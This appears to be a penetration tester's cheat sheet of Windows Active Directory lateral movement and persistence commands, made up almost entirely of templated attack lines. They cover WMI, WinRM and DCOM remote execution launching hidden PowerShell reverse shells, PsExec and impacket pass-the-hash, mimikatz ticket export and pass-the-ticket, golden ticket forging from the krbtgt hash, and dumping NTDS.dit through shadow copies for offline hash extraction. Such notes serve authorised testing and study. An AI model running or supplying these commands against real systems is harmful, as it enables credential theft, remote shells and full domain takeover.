Lateral movement doesn’t have to be used for different subnets. If we have credentials but lack rdp, lateral movement as a domain user is our friend
Windows Management Instrumentation
wmic
(recently deprecated, but still probably good) on DMZ
wmic /node:{target_IP} /user:{domain_user} /password:{password} process call create "{process}"
$username = '{domain_user}';
$password = '{password}';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
$Options = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName {target_IP} -Credential $credential -SessionOption $Options
$Command = 'powershell -nop -w hidden -e {reverse_shell_powershell_b64}';
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};
WinRM
winrs -r:{target_dnshostname} -u:{domain_user} -p:{password} "cmd /c {command}"
or winrs -r:{target_dnshostname} -u:{domain_user} -p:{password} "powershell -nop -w hidden -e {reverse_shell_powershell_base64}"
$username = '{domain_user}';
$password = '{password}';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
New-PSSession -ComputerName {target} -Credential $credential
Enter-PSSession {PSSession_ID_returned}
ADMIN$
share available (on by default)./PsExec64.exe -i \\{dnshostname} -u {domain}\{domain_user} -p {password} cmd
impacket-psexec -hashes {32_zeroes}:{hash} {DOMAIN}/{user}@{IP}
andimpacket-wmiexec -hashes {32_zeroes}:{hash} {DOMAIN}/{user}@{IP}
RunAs
but for a domain user’s hashsekurlsa::pth /user:{domain_user} /domain:{domain} /ntlm:{compromised_hash} /run:powershell
net use \\files04
PsExec.exe \\{dnshostname} powershell
Administrator
local user, not just an administrative user
sekurlsa::tickets /export
.kirbi
format in the same file directory, ls to find the ticket names (among other info)kerberos::ptt {ticket_name}
ls \\web04\
will just give an error. Type ls \\web04\
and press tab (or just Find-DomainShare
with PowerView)$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","{target_IP}"))
$dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"{powershell -nop -w hidden -e {reverse_shell_powershell_base64}}","7")
net view //{dnshostname or IP} /all
Golden Ticket
krbtgt
NTLM hash with mimikatz
lsadump::lsa /patch
kerberos::purge
to delete any existing ticketskerberos::golden /user:{domain_user} /domain:{domain} /sid:{domain_SID} /krbtgt:{krbtgt_NTLM_hash} /ptt
domain_SID
can be gathered from whoami /userPsExec.exe \\{domain_controller_dnshostname} powershell
Shadow Copies
vshadow.exe -nw -p C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\ntds.dit.bak
reg.exe save hklm\system c:\system.bak
impacket-secretsdump
impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL